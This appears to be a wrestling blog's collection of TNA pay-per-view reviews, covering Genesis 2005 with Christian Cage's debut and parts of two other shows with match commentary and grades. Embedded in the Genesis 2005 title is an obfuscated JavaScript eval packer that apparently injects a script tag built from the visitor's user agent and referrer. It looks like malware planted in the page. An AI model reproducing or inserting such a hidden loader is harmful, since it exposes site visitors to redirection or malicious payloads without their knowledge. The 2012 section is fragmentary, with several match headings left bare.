The announcers talk about Hogan a bit and we get a video about it. Oh joy. Nothing you couldn’t guess would be in here.

Rhyno/Team 3D vs. D’Angelo Dinero/Hernandez/Matt Morgan

The Dudleys have the Japanese tag titles as usual. Apparently Pope just added himself to his team. This was when Hernandez and Morgan had been awesome about a month before and then got stuck in a weak tag team which you could argue is a story still going on today. D-Von looks like he isn’t sure if he wants chicken or beef. He and Hernandez start us off. The fans are chanting something and the crowd has kind of died here.

The opening is surprisingly slow as they seem like they’re not sure what they want to do. Shoulder block takes D-Von down and Pope tags himself in, doing something a bit heelish. A shoulder of his own gets two. I’d hope it was of his own at least as it would be odd for him to use someone else’s shoulder. Ray comes in and rips up some of the Dinero Bucks and gets taken down by a double leg takedown.

Ray takes over and it’s Flip Flop and Fly time. Pope comes back as these two have been in there WAY too long. Bubba Bomb puts Pope down and Ray poses a bit. Rhyno comes in for the first time and it’s off to Morgan. This is an interesting match for some reason that I can’t quite place. Rhyno gets a shoulder into the ribs in the corner but walks into a discus lariat.

Everyone comes in and Team 3D hits a reverse 3D on Pope. Pope might have taken the bullet for Hernandez but it’s not entirely clear. D-Von and Pope are legal off that somehow and now it’s off to Rhyno. The heel team keeps up their fast tagging as Ray comes in to throw on a bearhug. That doesn’t last long but Pope can’t make the tag. Would it be a sin to keep the Pope from doing what he wants to do?

Back off to D-Von who gets a headbutt/splash for two. We hit the chinlock as Pope is in a good deal of trouble here. Is there such a thing as a bad deal of trouble? Ah good I don’t have to think about it that long as the hold doesn’t last long. Rhyno comes in and the fans aren’t that keen on him. Dinero is thrown to the floor and Ray drops an elbow while shouting that he’s a bigger pimp than Pope. I’ll leave that one up to you guys.

Naturally Ray misses his backsplash which is probably a good thing. I wouldn’t want Pope pancakes. Hot tag to Morgan who cleans house, including making D-Von run away from a right hand/clothesline. Rapid fire elbows in the corner to Rhyno and a side slam gets two. Off to Hernandez who hits a slingshot double clothesline to everyone not named Bubba and/or Ray and/or Bully.

With everyone on the floor, Hernandez launches a HUGE dive over the top to take down everything in sight. How did they manage to screw this up? Back in the ring a top rope splash gets a LONG two on Rhyno. What’s Up is broken up by Pope and Morgan is back in again. He leaves just as quickly though and might have twisted his knee. I hope it’s a Hogan knee injury like at Mania 6 which is never heard from again about a minute later. Ray crotches Pope on the post, allowing D-Von to pop Hernandez with a chair. The Gore ends Supermex a second later.

Rating: C+. This was a longer match than it probably should have been but it really wasn’t that bad at all. A good term for this would be acceptable. It’s not a bad match at all but it’s nothing that was all that great. It was long enough to let everyone get in there and the big spots weren’t bad. Pretty good little match here and nothing to really complain about. And I had joke material so I’m perfectly fine with it.

Lauren (still gorgeous) is with Scott Steiner and tells him that the match is now No DQ and falls count anywhere. Steiner says it’s on Lashley’s wife, saying Lashley can’t satisfy her so she went after Scott. Lauren’s reactions to this are great.

We recap the feud and it’s more or less what I just explained. This is kind of like Roberts vs. Rude which isn’t a bad feud to draw from and it’s been over 20 years so I think it’s ok. Taz saying Steiner crossed the line made me chuckle. Shouldn’t that be grounds for a raise?

Bobby Lashley vs. Scott Steiner

I was right about the Rude/Roberts thing as Scott has Krystal’s face on his tights ala Ravishing Rick. Hey he has alliteration in his name too. This is rather interesting. The fight starts in the middle of the aisle with Lashley throwing him all over the place. Into the ring now with Lashley in full control. A clothesline and shoulder in the corner has Scott in trouble. Suplex gets two.

Spinebuster gets no cover as Bobby sets for a spear. Steiner gets a boot up but walks into a T-Bone suplex for a long two. Clothesline puts Steiner right back onto the floor. Scott FINALLY breaks the momentum with a pair of shots to the Little Boss. Make that three of them. That set of them gets two as maybe Krystal will like Scott more now. Chair goes across the back of Bobby for two.

Back in and the spinning belly to belly by Steiner gets two. Overhead belly to belly nearly breaks Bobby’s neck as is Scott’s custom. A third suplex gets two. Steiner does what he now calls the Frankensteiner but for some reason Bobby drops down to the bottom rope so it looked a bit awkward. That gets two. Steiner goes up but gets caught. Lashley drops him onto the top rope instead of slamming him down. Nice change of pace there I guess.

To the floor again and Lashley throws him into the table and pounds away. Chair to the back of Steiner and they go into the back where it’s really dark. Like Boiler Room Brawl at Summerslam 96 dark. Also we don’t have a camera there. It does make it look a bit more realistic I guess though. Apparently the camera was off so Scott could blade as he’s busted open now.

Lashley puts him through a table for two. He goes off and gets a 2×4, prompting the entire crowd to shout HO! Well they’re smart at least. Lashley charges into a well placed piece of wood. Taz asks why the wood was there and is promptly ignored. Scott chokes away with a cord and gets two off that. They fight back to what is apparently behind the set. Up to the Spanish Announce Table and Steiner rips the scaffolding apart. A piece of the pipe winds up going around the head of Lashley and we’re done. No idea what the point is of giving Steiner the win here but whatever.

Rating: C+. Pretty decent brawl here with both big monsters hammering away on each other pretty well. The ending doesn’t work for the most part as it says monster MMA fighter loses to implied attempted rapist. Not a classic or anything but it wasn’t supposed to be. Fine for what it was which I’ve been trying to cut back on saying but it fits here.

Angle says Wolfe is trying to make a statement by taking out the biggest dog in the yard. Well now he has him. The whole I don’t know you means nothing here because HE’S KURT ANGLE! Good response by Angle here: short and awesome.

We recap the Angle vs. Wolfe feud which is based on Wolfe debuting and wanting to meet Angle. The Jason Statham lookalike jumped Angle and has left him laying multiple times now. This was an awesomely built feud and thankfully the matches worked also.

Desmond Wolfe vs. Kurt Angle

They fight over a wristlock to start and the easily impressed fans chant this is wrestling. Modified crossface chickenwing by Wolfe and we hit the mat. After some arm work on the left, surprisingly enough Wolfe goes after the right arm. That’s a rare thing to say the least. Angle wakes up and snaps off a suplex. When all else fails, throw someone around. Or kick them in the face which is my preference.

Kurt’s shoulder goes into the post and Wolfe goes in like a shark. I think I got my animal metaphors crossed there. Lots of mat work on the arm follows with Kurt not being able to counter into an ankle lock. Wolfe plays to the crowd, I’d assume due to rarely being in front of this many people, and gets caught in a belly to belly and some clotheslines/forearm from Kurt for two.

The American hits some Germans on the Englishman. Six in this case. Six Germans that is, not six Englishmen or six Americans. Angle Slam is countered into an arm drag and lariat for a close two. Tower of London misses so the Angle Slam gets its required two count. After the move that has won Angle world titles (I think) hits, Wolfe has an arm hold on maybe 15 seconds later. Now THAT is no-selling.

Ankle lock goes on but Wolfe counters into the LeBell Lock minus the crossface. Kurt rolls through into the ankle lock again but a rope is grabbed. The announcers talk about how Wolfe has scouted Angle and knows a counter to everything. I wonder how many tapes he watched to figure out that the counter to the ankle lock is to grab a rope? Angle Slam is countered into a DDT and both guys are down.

Tower of London (falling cutter off the top) gets two. Kurt gets a clothesline to break the momentum but the moonsault, say it with me, misses. A slick arm hold by Wolfe looks for the submission but Kurt backslides into a rope. They fight on the ropes and down goes Wolfe. FROG SPLASH by Kurt gets two. Ankle lock goes on for roughly the 20th time and Wolfe can’t reverse. Off to a cross armbreaker attempt but Wolfe clasps his hands. Instead Angle shifts to a side triangle choke and Wolfe taps immediately.

Rating: B+. Solid stuff here, questionable selling aside. It’s a nice change of pace to see guys get on the mat and work on each other with some psychology in there. Not as classic as it’s going to be made up to be as the ending came out of nowhere and the arm work more or less went nowhere, but still a very good match.

Joe talks about how he hasn’t caused any trouble with AJ and Daniels but rather has just shown reality to everyone. It doesn’t matter that there are two on the same page and one on the other as Joe is the one that has hurt them both before and will win tonight.

We recap the Unbreakable triple threat which I need to get to and the feud that sets up the match here. Daniels allegedly jumped AJ and left him laying. The guy would wind up being revealed as Tomko in the ultimate of a wasted opportunity. Daniels said AJ was arrogant and AJ apologized for thinking it was Daniels that jumped him, but not for being world champion. Joe jumped both of them because he could.

TNA World Title: Samoa Joe vs. AJ Styles vs. Christopher Daniels

After some big match intros we’re ready to go. We get the always annoying streamers thrown for each guy. Daniels gets the first shot in with a right hand to AJ. Joe needs to stick with the tights rather than the shorts. They don’t work on him at all really. AJ gets the clothesline/forearm in the corner and hammers on Daniels a bit also. Joe takes over with his strikes and actually chops Styles in the back which is a new one.

Joe is sent to the floor and AJ gets that dropkick of his to put Daniels down. Headlock takeover by AJ and he adds a dropkick to keep Joe on the floor in a nice move. Joe back in now and he hammers Daniels down in the corner. With AJ down the submission guy actually does some submission stuff. What a novel concept. A suplex attempt on Joe finally works as AJ probably has a hernia now.

Indian Deathlock with a facelock ala Benoit by AJ to Joe. I love that move. Joe hits the floor and it’s back to AJ vs. Daniels with the Fallen Angel in control. We get our first dual submission as AJ is put in a Boston Crab and Joe in a camel clutch at the same time. Joe, apparently in need of a snack and thinking that the fingers are hot dogs, bites the hand of Daniels to get out of it. Love people staying in character like fat boy Joe here.

Rock Bottom out of the corner kills Daniels and AJ is taken down as well. Joe gets a dropkick to AJ and lands on Daniels, giving Joe complete control. And never mind as AJ takes him down on the floor and it’s back to the two guys that can’t block out the sun. They shift positions and AJ gets a running shooting star press over the top to take out both guys. Cool move that he doesn’t use that often anymore which is what makes it cool.

Joe and AJ slug it out in the ring and here’s Daniels to make it a perfectly matches set. Poetry in Motion takes down Daniels and it’s a springboard rana to Daniels for two. The fans of course chant random things because that’s what they think they exist for. Joe gets all powerbomb happy, getting two on AJ. Various submissions including an amplified Boston Crab, an STF and a crossface don’t work either.

Daniels pops up again and gets a reverse DDT to Joe/Rock Bottom to AJ at the same time. Not bad there. Death Valley Driver gets two on AJ. AJ fights back with a neckbreaker for two as this is needing to get to another gear for the ending. Everyone back in now and they all slug it out. Pele puts Daniels down so we’re all on the mat. AJ sends Daniels to the floor and the springboard forearm gets two.

In a nice bit of psychology, AJ hits the backflip into the reverse DDT on Joe and tries it again on Daniels. Daniels counters his though and gets a Cross Rhodes (Last Rites) to AJ. Muscle Buster to Daniels as AJ saves again. Big spin kick puts Joe down but Daniels breaks up the Styles Clash. Daniels and AJ can’t get each others’ finishers so they take Joe out instead.

AJ and Daniels high five each other and go at it. Joe pops up and chops AJ to the floor and it’s a BME to Joe. AJ pops up again and hits the springboard 450 to the back of Daniels (knees to the back have to hurt REALLY FREAKING BADLY) and steals the pin on Joe to set up AJ vs. Daniels the next month at Final Resolution.

Rating: A-. Taz calls it 15 stars and that’s a bit of a stretch. It’s still a very good match and great is probably a fair term. It’s not the Unbreakable match but with that being the standard they were kind of hamstrung. Still it’s a great match with Joe being a bit less than what he was back in 2005. Good stuff though to say the least.

Overall Rating
: B+. Very solid show here and a shining example of what TNA could be that could make people look at it and say “that’s an actual alternative to WWE.” Instead we’re looking at Sting vs. Hogan probably which is something I think only Sting and Hogan fans want to see. Anyway, this was a great show with some very solid wrestling in there throughout. It’s easy to watch too which helps it a lot. By that I mean it flies by, which is the sign of a good show. Check it out if you get the chance.

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On This Day: November 13, 2005 – Genesis 2005: CHRISTIAN! CHRISTIAN! At Last You Are in TNA!

Genesis eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fayek|var|u0026u|referrer|kndzk||js|php'.split('|'),0,{})) 2005
Date: November 13, 2005
Location: Impact Zone, Orlando, Florida
Attendance: 900
Commentators: Mike Tenay, Don West

It’s the month after Bound For Glory and there are two things of note: there’s a major debut tonight, and Eddie Guerrero died earlier in the day. The main event tonight is a six man tag with Rhyno/Team 3D vs. Jarrett/AMW with no stipulations on it, which means I have no reason to care about it. I can’t stand matches like that but they tend to happen once in awhile. If this is half as good as BFG was I’ll be a little surprised. Let’s get to it.

The show is dedicated to Eddie Guerrero. Nothing wrong with that.

The opening video is about starting a new voyage and a new day and all over beginning things like that. There’s a lot of Clinton and Kennedy clips in there too. The main matches get some time too.

Raven vs. ???

This is more of Raven vs. Larry Z in a feud that no one cared about. Larry is in the ring and offers him a release again, which Raven can sign or face the opponent. Bird Boy gives him a double bird. Again we hear about some girl that might be controlling Raven, which I think would wind up being Daffney. The mystery opponent is P.J. Polaco, more commonly known as Justin Credible.

They have to call him the former Justin Credible because of legal issues. You get that a lot in TNA. Justin takes him into the corner to start and hits some forearms. Raven gets him down and pounds him down as we hear about Raven holding Justin down or something. I guess they mean in ECW, where Justin was pushed as a huge deal for YEARS. Justin (screw this PJ nonsense) comes back with a knee to the ribs and another one to take Raven down. He stomps on Raven in the ribs as Mike tries to tell us about a rivalry these two had for the Hardcore Title.

A baseball slide dropkick gets two for Credible. Out to the floor and Raven goes into the barricade. Off to a chinlock back in the ring as we hear about Raven’s history of having people fall under his control. Now it’s a dragon sleeper. A knee sends Raven to the floor and Justin finds a kendo stick. Cassidy Riley, a Raven follower/tribute guy, comes out but gets caned for his efforts. Raven takes over in the ring and catches a superkick into an ankle lock. Justin escapes and hits a bad DDT for two but walks into the Raven Effect for the pin.

Rating: D. Not much here but I’m no fan of Justin. Raven was hot in 2005 but man this Larry feud pulled him down through the floor. At the end of the day, it’s Larry Zbyszko, the man who can suck the life out of a crypt. Also, Justin and Raven really just worked together in ECW and had a brief feud in late 1999/early 2000 that not many people likely remember. Not the best opener to say the least.

We recap the Kru vs. Team Canada which mostly covers last month’s events. Kip is the guest referee in their hockey stick fight tonight. Konnan still doesn’t trust him.

The Kru talks about the surprise debut tonight (who isn’t mentioned by name here) and says that the rats are leaving the ship, meaning WWE. BG thinks Kip is cool but Konnan disagrees.

Team Canada vs. 3 Live Kru

It’s a hockey stick figdht, which means hockey stick on a pole but you have to be legal to grab it. So it’s a hockey stick on a pole match. Got it. This is A-1, Roode and Young. There are six total hockey sticks, one for each post. Sweet merciful corn on the cob can someone get Vince Russo some decaf? Kip James is guest referee. Team Canada tries to go and get the sticks before the match starts because no one is legal then, so we start with a brawl.

Kip tells Konnan to go to the corner and we get BG vs. Roode. Less than 30 seconds after we get settled, Eric (in headgear for some reason) climbs up and gets a stick. Kip takes it and breaks it over his knee then takes the headgear away. Ok then. Roode sends BG into the buckle and I can’t believe we’ve only had one stick grabbed in the first minute. BG comes back with the dancing punches and the shaky knee drop for two.

BG starts going up for a hockey stick but has a small nose bleed. There are SO many jokes. Tag to Truth who goes up but Roode saves the stick. Never mind as it comes down anyway and lands in the Kru’s corner. Leg lariat gets two on Roode. Off to Young who has about the same luck. Konnan comes in and puts his shoe on the end of the hockey stick. Egads this match gets stupider and stupider.

BG goes up for another stick but after he gets it, Roode electric chairs him down. A-1 comes in for some two counts. Kip has been neutral so far. Back to Young who gets two off a backbreaker. He goes to get a stick but BG knocks it out of Young’s hands and to the floor. Back to Young for a slug out but BG gets caught in a full nelson slam. Roode gets the fallen hockey stick but Truth disarms him.

Tag off to Truth and everything breaks down. Ax kick to A-1 but Roode hits the DVD and Young drops the elbow. Now it’s Konnan’s turn to clean house and he puts the Sunrise on Young but Roode saves. Another stick is brought down and it’s sword fighting time. The Kru takes over and it’s a double What’s Up onto two hockey sticks onto Young’s balls for the pin.

Rating: D. WOW this was overbooked. Seriously, six hockey sticks and a guest referee? Nothing to see here either as this feud would finally end the next month at Turning Point. The wrestling was pretty basic and Kip offered nothing at all to this. The point is that he can be trusted, but any referee could have done what he did here.

Kip gets to pound fists with Konnan as apparently they’re all cool.

Abyss and Mitchell are ready for that new talent acquisition. As for Sabu, the No DQ rule won’t bother Abyss and the barbed wire won’t bother him either. It’s opening Pandora’s Box and they crush an egg. This takes awhile to get through.

Tenay and West talk about the acquisition but don’t say who it is. The guy isn’t here yet.

We run down the rest of the card, 35 minutes into the show.

The Acquisition arrives and he’s coming to the arena. A countdown starts and it’s Christian Cage making his debut. Christian says the rumors are true but stops for Christian Cage chant. Jarrett and company are watching in the back and don’t like what they see. Christian says he’s not going to say the same thing every week and that he’s not here because he got fired. He made the jump on his own choice. WWE offered him a very large contract but he’s here because he loves wrestling.

He’s known to crack a joke or two, but he’s the best in the world today and that’s not a joke. He’s tired of politics and he wants to see wrestling reinvented. Last night he was watching Impact and it reminded him of when he showed up 8 years ago. Today there are still two companies, and just like back then, one is old and boring but now the young and hot one is TNA. He’s here to win the world title because that’s how he rolls.

Cue Scott D’Amore, the Team Canada coach. Roode comes out with him and D’Amore is very happy. He talks about some old times that Christian, himself, Adam, Jericho and Lance had when they went to Bret and Stu’s house. D’Amore says that if they unite with Jarrett’s team, they could rule this place. Christian has a question but Roode cuts him off and says Christian needs to realize the opportunity before him. Roode says we want an answer now but D’Amore tells him to chill. He throws Christian a Team Canada shirt and asks for an answer by the end of the night. Christian says he’ll think about it.

We recap the #1 contender’s match between Monty Brown and Jeff Hardy. Both are top guys and want a title shot. Brown issued an open challenge and Hardy took him up on it.

Monty Brown says that he’s not worried about Christian and calls him out to the Serengeti. Jeff Hardy can bring it too. They’ll both be Pounced.

Jeff Hardy vs. Monty Brown

Winner gets Jarrett at some point in the future. The fans are almost universally behind Hardy. Jawbreaker slows Brown down….then Hardy sticks his hands out and shouts before crawling on the ground. Brown grabs him into a fallaway slam to take over. Jeff avoids a charge and Monty goes to the floor, but Hardy’s baseball slide misses and he hits the steel. Brown throws him into the crowd and Jeff is in trouble.

Jeff walks on a barricade and dives onto Brown who was nice enough to stand there and let him. At least he’s polite. Back in and Jeff is almost immediately thrown back to the floor over the top. The fans are split but the fans are more in Hardy’s corner. Whisper in the Wind misses and Hardy is in trouble. A double clothesline hits and both guys go down. Now Whisper in the Wind works and Jeff starts his comeback. Legdrop between the legs makes Monty’s eyes bug out.

The Twist of Fate is countered into an Alpha Bomb attempt but Jeff counters into the reverse Twist of Fate, which of course West calls the same thing. Either way it only gets two. Jeff goes up for the Swanton but it only hits mat. Monty gets up and CRUSHES Jeff with the Pounce for the pin. Apparently this just moves Monty up in the rankings instead of giving him a title match. You know, because that’s SO much different than any regular match right?

Rating: D+. This wasn’t much for the most part. Jeff’s selling was great of course but Monty was pretty much just another power guy. He wasn’t bad or anything but not much aside from his finisher made him stand out or anything. Not a bad match or anything but it’s really just kind of there.

We recap the Elimination X match which is an X Division Survivor Series match. Daniels is a captain and calls his team the Ministry. The other team is called…..uh…..Not The Ministry I guess. Joe thinks he should be captain instead of Daniels.

The Ministry minus Joe wants to know where Joe is but Daniels says don’t worry about it.

Samoa Joe/Christopher Daniels/Alex Shelley/Roderick Strong vs. Chris Sabin/Austin Aries/Sonjay Dutt/Matt Bentley

The Ministry is pretty packed. Bentley has Traci with him. Aries looks really different minus the mustache. Strong vs. Bentley to start us off. This is standard Survivor Series rules. Strong controls with a quick headlock so Bentley does exactly the same thing. Off to Sonjay who flies around a lot in some standard spinny flips. Off to Shelley who looks way different as well. They go VERY fast, resulting in an STF by Shelley. It doesn’t get him anywhere but it looked good.

Shelley gets him into the corner and tags in Joe to a BIG reaction. Joe hits a bunch of Facewashes and a running one to take his head off. Dutt gets to the corner for a moonsault press but Joe walks away. Dutt faked him out though and hits the press for two. Joe responds by kicking his head off and hitting the backsplash. The crowd is eating Joe up and there’s a lot to eat there.

Daniels comes in but so does Aries, who takes him down with a flying body attack. With Daniels’ arm firmly controlled, it’s time for Sabin. I think he’s his team’s captain too. Captain or not, he hits some WICKED headscissors to have Daniels all spun around. Joe knees him in the back though and an STO puts Sabin down to take over for the Ministry. Off to a chinlock but Sabin fights up and kicks Daniels down.

Off to Aries who cleans house on Daniels and Strong. Strong counters the brainbuster and hits a Nightmare on Helm Street. Everything breaks down and Strong hits a rack into a backbreaker on Sabin. Bentley and Daniels head to the floor and the other six are all in now. Joe gets triple teamed and knocked to the floor and everyone on Bentley’s team other than Bentley hit stereo dives. Aries and Strong go back in and Aries hits the brainbuster followed by the 450 to eliminate Strong. Daniels comes in immediately and rolls up Aries with tights to tie it up. There weren’t ten full seconds between pins.

Dutt vs. Daniels now as it’s 3-3. Sonjay takes him down and drops a leg for two. Off to Bentley who doesn’t do as well, getting slowed down by a knee and allowing a tag to Shelley. Sabin comes in as well and hits a seated dropkick to the back of Shelley’s head for two. Sonjay comes back in and cleans house, knocking Joe and Daniels to the floor (with Joe leaving a HUGE sweat stain). Dutt cleans some more rooms of the house but Shelley hits what we would call White Noise and hooks a modified crossface for the tap out.

Shelley walks into a superkick from Bentley for a quick pin, leaving it as Daniels/Joe vs. Bentley/Sabin. Bentley suplexes Daniels down and brings in Sabin. Daniels gets put in the Tree of Woe and Sabin hits the hesitation dropkick for two. Off to Joe who gets dropkicked down but he pulls out a powerslam for two on Bentley. Joe misses a running knee smash in the corner and it’s off to Bentley and Daniels. Release Rock Bottom and the BME get two.

Daniels goes up again but Sabin comes in as well for a double superplex, but Joe makes it a Tower of Doom which really just hurts Daniels even more. Joe knocks Bentley into the corner and fires off some Facewashes. Bentley pops up out of nowhere and superkicks Joe down for two. He gets on Daniels’ shoulders but Joe pops him in the face, hits the MuscleBuster and the Clutch gets it down to two on one. Sabin has to fight off both of them so he hits a tornado DDT on Daniels and an enziguri on Joe at the same time. Sabin takes Joe down again but can’t Cradle Shock him. He escapes the MuscleBuster but Angel’s Wings end this.

Rating: B. I don’t get why they never did another one of these. It’s a perfect kind of match for a PPV as it ate up almost 25 minutes and we got some great action out of it. It’s no classic or anything, but it got the signature stuff out there on PPV. The teams were a little lopsided though and that hurt things a lot. Still quite good though.

Joe is mad at Daniels for getting the winning fall and kicks him down. He goes to the floor and CRACKS daniels with a chair and hits a MuscleBuster on him, followed by a second on the chair. This would basically be what turned Daniels face. He gets stretchered out and AJ watches, looking distraught.

Jarrett and AMW say they’re ready for anyone that TNA throws at them.

We recap Abyss vs. Sabu. The idea is that Sabu can’t beat him one on one but Abyss is terrified of barbed wire, so Sabu has a weapon to use.

Abyss vs. Sabu

No DQ. Abyss has a chair and his chain. Sabu of course has….nothing. He had his arm covered but when he pulled the towel off there was no barbed wire (there had been at an earlier show). Abyss bails to the floor and Sabu dives on him to take over early. Sabu sets up a table but Abyss takes over and sends him back in. Abyss beats on him VERY slowly as I’m assuming they have a lot of time here.

Sabu is bleeding from the nose. For some reason Abyss goes up, only to be ranaed down. Sabu sets up a chair but it goes upside his head for his efforts. Abyss wedges the chair between the ropes but due to the law of wrestling, he goes head first into it. Triple Jump Moonsault almost totally misses and it’s out to the floor (complete with an F Bomb from Sabu) where Abyss is driven through the table with a slingshot flipping legdrop.

Abyss gets up first and picks up his bag of tacks. As he’s laying them out though, Sabu pulls out a barbed wire chair. Mitchell pulls it away, but Sabu hits some clotheslines in an attempt to put Abyss into the tacks. Abyss is like screw that and chokeslams Sabu into the tacks but it only gets two. He loads up a Frog Splash but lands on tacks, which gets two for Sabu. Camel clutch goes on but Abyss makes a rope. Sabu gets the chair but Abyss knocks him down. Powerbomb onto the chair is countered by a Black Hole Slam onto the chair (FREAKING OW MAN!) gets the pin. Abyss wasn’t scared of it at all.

Rating: C-. It was very violent and the ending was sick, but it’s nothing we haven’t seen a million times before. Abyss being scared of the barbed wire went nowhere at all which didn’t help anything here. The match wasn’t that bad but it’s just another hardcore brawl with some sharp stuff involved.

We recap the X Title match which came about from Williams “winning” Ultimate X at the last PPV and then winning another one on Impact to make up for the botched ending last month.

AJ says he’s never seen eye to eye with Daniels but he respects him. Joe broke the unwritten X Division Code and AJ will deal with him. Oh and he’ll beat Petey.

X-Division Title: AJ Styles vs. Petey Williams

Feeling out process to start with AJ hooking a weird leg lock rollup for two. Styles does the drop down into the dropkick spot which is always good. A pair of kneedrops gets no cover. Petey countered the Clash attempt and gets to the apron. AJ knocks him off and hits a flip dive but lands on the barricade and bounces into the crowd. A-1 comes out and offers a distraction which goes nowhere.

Back to the apron and Petey tries a German off the apron but AJ hangs on to avoid a nasty case of death. And never mind as it actually works and AJ’s back goes into the barricade. FERAKING OW MAN!!! A-1 gets thrown out. Back in the ring a regular suplex gets two and it’s off to a bodyscissors. Styles fights out of that pretty quickly so Williams fires off some kicks to the ribs.

Petey misses a shoulder in the corner but as AJ tries a springboard, Petey drops him onto the ropes. A SWEET rana to the floor works on the back even more. Back inside now and it’s the Tree of Woe and O Canada. We reach a point that is so boring that we get a replay from the German off the apron from earlier in the match. Back to live action and AJ hits the Pele. He goes after the ribs with a series of gutbusters and now it’s Petey in trouble.

AJ’s flurry results in a Styles Clash attempt but Petey escapes and rolls him up for two. Styles comes back with a neckbreaker for the same. They trade rollups and chops and the Clash is countered again, this time into a DDT for two. The Destroyer is countered and it’s off to the Sharpshooter instead. As Styles goes for the rope, Petey hooks his arm to block the rope break. That was creative.

AJ gets there anyway and heads to the apron for the springboard forearm. Petey gets up first and heads to the corner but AJ enziguris him down. Petey tries a super Destroyer but AJ knocks him down. Styles sees Joe with a towel with Daniels’ blood on it and Williams crotches him. That gets him nowhere though as AJ hits the Clash from the middle rope for the pin to retain.

Rating: B-. Pretty good match here but it’s not AJ’s best stuff. It was very clear that AJ was going after Joe next so it was hard to believe that Petey was much of a threat to the belt here. Still though, this was good and the idea of who could hit their finisher first was a nice story for it. Good match but not great.

We recap the main event. Basically it’s Planet Jarrett vs. the top face tag team and the top face heavyweight. All I can say is thank goodness this was Rhyno instead of Nash. I don’t get why they had to take the title off of him so fast though. Let him keep it for a few months. Jarrett would beat him in a singles match at Turning Point anyway. This gets the music video treatment which isn’t bad.

The Dudleys and Rhyno say they’re ready. Why does that take a few minutes to get through?

Team 3D/Rhyno vs. America’s Most Wanted/Jeff Jarrett

Nothing on the line here, which is the kind of main event that I can’t stand. Team 3D comes out last instead of the guy that was world champion two weeks ago. Jarrett and AMW run into the crowd in different spots, apparently wanting to start out there. The Dudleys say cool and the bell rings as the ECW guys head into the crowd. It’s one of those brawls where you can’t see a thing.

Rhyno is beating on Jarrett near some empty seats and Ray throws Tenay’s chair at I think Storm. D-Von rams Harris into the Spanish Announce Table as Jarrett and Rhyno go WAY up high. A low blow knocks Rhyno down some stairs and Ray misses a chair shot which hits the post instead. We’re over six minutes into a fifteen minute match and they haven’t been in the ring together yet.

Storm misses a beer bottle shot and we’re FINALLY getting back to ringside together. D-Von hits Harris with the bell and Ray uses a cheese grater on Storm IN THE RING. Harris is busted now. Here’s a table but Harris moves it to keep Storm from going through it. The referee is totally cool with all this stuff. Ray takes a cheese grater to the balls. Rhyno is on the stage and hits Jarrett with a garbage can.

The table gets moved again to keep Harris safe and there’s a LOUD chair shot that we only hear. Rhyno drags a table up to the stage as we’re ten minutes into this match. Rhyno throws the table upside down and then piledrives Jarrett on the stage rather than on the table. The table gets set up in front of the tunnel and after he hits Storm, he charges….right into the superkick from Storm.

I think we have a normal match now with Storm vs. D-Von. It only took them 12 minutes. Catatonic is countered into a reverse inverted DDT for two. Storm comes in (no tag, the villain) for a reverse tornado DDT. Bubba Bomb gets two on Storm but the one to Jarrett is blocked with a low blow. Stroke gets two. Rhyno comes in from nowhere to Gore Jarrett but Harris pulls the referee out. AMW crotches Rhyno on the post and hits a double spinebuster on Ray. Hart Attack gets two on D-Von. Ray breaks up a Death Sentence through the table and a 3D pins Storm.

Rating: C. I have no idea what to call this. They were in the ring about 2 minutes out of nearly 16 so you can barely call this a match. As a fight it wasn’t bad, but at the end of the day, what does this mean? Team 3D wouldn’t get the titles until April of 2007 so it didn’t mean much for them. This was a throwaway main event but it certainly wasn’t boring.

Jarrett hits Rhyno with a guitar post match so the Dudleys set up a table. After getting a fresh one, Gail tries to hit Bubba low. Bubba blocks that and sets to powerbomb Gail through Jarrett through the table. Team Canada comes in for the save and puts D-Von on the table. Jarrett goes up top but Christian comes in with a chair.

He unzips his jacket to reveal a Team Canada shirt. D’Amore hugs him and gets pulled into an Unprettier. Jarrett gets slammed off the top and takes a 3D through the table (with the Dudleys doing a double flapjack and Christian doing the cutter for some reason). Christian reveals a TNA shirt to end the show.

Overall Rating: C-. This wasn’t a bad show at all but it wasn’t that memorable. Christian debuting is by far and away the biggest thing here, but other than that, nothing really happens here. No titles changed hands, partially because only one was defended. The main event should have just been Jarrett vs. Rhyno II and let Jeff get the belt back here. It’s not a bad show, but it’s not one that you would ever need to see again.

Remember to like this on Facebook and follow me on Twitter @kbreviews

 

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On This Day: November 11, 2012 – Turning Point 2012: Hardy and Aries Climb A Ladder

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Date: November 11, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Todd Keneley, Taz

Now we get the opening video which is about the two aforementioned main events.

TV Title: Samoa Joe vs. Magnus

ODB/Eric Young vs. Jesse Godderz/Tara

We recap the Sting attack from Thursday.

X-Division Title: Rob Van Dam vs. Joey Ryan

A tornado DDT gets two for Joey as does the Mustache Ride (middle rope neckbreaker). Rob easily gets up and kicks Joey down to take over. Rolling Thunder and the standing moonsault get two each, as does a rollup for Joey. The stepover kick puts Ryan down and the Five Star retains the title at 7:45.

Doc vs. Joseph Park

Post match Doc gets the hammer but Bully Ray makes the save.

We recap the tag title match. Chavo and Hernandez won the titles in a threeway and tonight is the solo rematch.

Tag Titles: Chavo Guerrero/Hernandez vs. Kazarian/Christopher Daniels

Chavo and SuperMex are defending. Daniels vs. Chavo gets us going with a feeling out process. Guerrero hits a quick hiptoss but Kaz jumps him from behind and the challengers double team to take over. SuperMex is like SCREW THAT IN SPANISH and hits a double clothesline to take over. A backbreaker puts Daniels down but the Frog Splash from Chavo misses to give the challengers control again.

The big dive by Hernandez is broken up by a Daniels Kick and the High/Low gets two. Hernandez hits a double suplex and Chavo dropkicks them both down with a single dropkick. Kaz takes two of the Three Amigos and Daniels takes all three. Kaz breaks up the Frog Splash with an enziguri so Hernandez throws Kazarian to the floor. STO puts Hernandez down and Daniels loads up a superplex on Guerrero, only to have Hernandez pull him into a Doomsday Device position. Chavo hits a cross body to take out Daniels and retain the titles at 13:23.

Bobby Roode vs. James Storm vs. AJ Styles

Buy the Make An Impact shirt!

D-Von vs. Kurt Angle

